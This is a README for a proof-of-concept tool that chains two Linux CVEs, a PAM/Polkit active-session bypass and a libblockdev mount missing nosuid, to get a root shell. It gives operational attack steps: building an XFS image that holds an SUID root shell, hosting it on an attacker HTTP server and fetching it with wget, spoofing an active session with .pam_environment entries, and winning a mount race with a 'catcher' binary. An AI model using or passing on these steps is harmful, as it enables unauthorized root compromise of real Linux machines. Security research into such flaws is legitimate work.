CVE-2025-6018 & CVE-2025-6019: Local Privilege Escalation PoC

A robust Proof of Concept (PoC) for chaining CVE-2025-6018 (PAM/Polkit Active Session Bypass) and CVE-2025-6019 (libblockdev SUID Mount Flaw) to achieve root access on vulnerable Linux systems.

Disclaimer

This tool is for educational purposes and authorized security research only. Do not use this on systems you do not own or have explicit permission to test.

---

The Vulnerability Chain

This exploit chains two logical flaws to escalate privileges from a standard user to root:

1. CVE-2025-6018 (The Entry): A misconfiguration in PAM/Polkit allows remote SSH sessions to be flagged as Active=yes. This trick convinces the system that the remote user is physically present at the console, bypassing password requirements for hardware management tools like udisks2.
2. CVE-2025-6019 (The Weapon): The libblockdev library (used by udisks2) fails to apply the nosuid security flag when temporarily mounting a filesystem for maintenance operations (like Check or Resize).

The Kill Chain

1. Preparation: We create a malicious XFS image containing a static SUID root shell.
2. Bypass: We rely on the Active=yes session status to mount this image as a loop device without a password.
3. Trigger: We issue a D-Bus call to Filesystem.Check. This forces udisks2 to temporarily mount the image to verify it. Crucially, this temporary mount lacks nosuid.
4. Race Condition: A compiled C program ("The Sniper") monitors /proc/mounts in real-time. The moment the temporary mount appears, it executes the SUID payload before the system unmounts it.

---

Usage

Phase 1: Preparation (Attacker Machine)

Because the target machine often lacks tools like mkfs.xfs or gcc, we generate the payload locally.

1. Run the build script on Kali/Parrot:

   root@kitploit:~

   ./build_poc.sh
   

   • Creates exploit.img (400MB XFS image with SUID shell).
   • Compiles catcher (The race-condition winner).

2. Upload the files to the target: Start a Python server:

   root@kitploit:~

   python3 -m http.server 80
   

   On the target machine (e.g., in /tmp):

   root@kitploit:~

   wget http://<YOUR_IP>/exploit.img
   wget http://<YOUR_IP>/catcher
   chmod +x catcher
   

Phase 2: Exploitation (Target Machine)

1. Download the exploit script: Save the exploit.sh content from this repo to the target machine.

2. Run the exploit:

   root@kitploit:~

   chmod +x exploit.sh
   ./exploit.sh
   

3. Enjoy Root: The script will automatically set up the loop device, start the background catcher, and trigger the vulnerability. You should be dropped into a root shell immediately.

---

Troubleshooting

"Authentication is required to set up a loop device"

If the script asks for a password, your SSH session is not active. Fix:

1. Create ~/.pam_environment:
   root@kitploit:~

   echo "XDG_SEAT=seat0" > ~/.pam_environment
   echo "XDG_VTNR=1" >> ~/.pam_environment
   

2. Log out and log back in.
3. Verify with loginctl show-session $XDG_SESSION_ID | grep Active. It must say Active=yes.

"Race condition failed / No shell"

The vulnerable window is only milliseconds wide.

• Ensure you are using the compiled C catcher (included in build_poc.sh), not a Bash loop.
• The script uses the Filesystem.Check method, which is more reliable than Resize.

---

File Manifest

build_poc.sh (Attacker Side)

Automates the creation of the malicious image and compiles the static binaries.

exploit.sh (Target Side)

The orchestrator. It handles:

1. Checking for the Active Session.
2. Starting the catcher in the background.
3. Setting up the loop device via udisksctl.
4. Triggering the D-Bus Filesystem.Check call.

---

Credits

• Original Discovery: Qualys Research Team (CVE-2025-6018, CVE-2025-6019) https://www.helpnetsecurity.com/2025/06/18/chaining-two-lpes-to-get-root-most-linux-distros-vulnerable-cve-2025-6018-cve-2025-6019/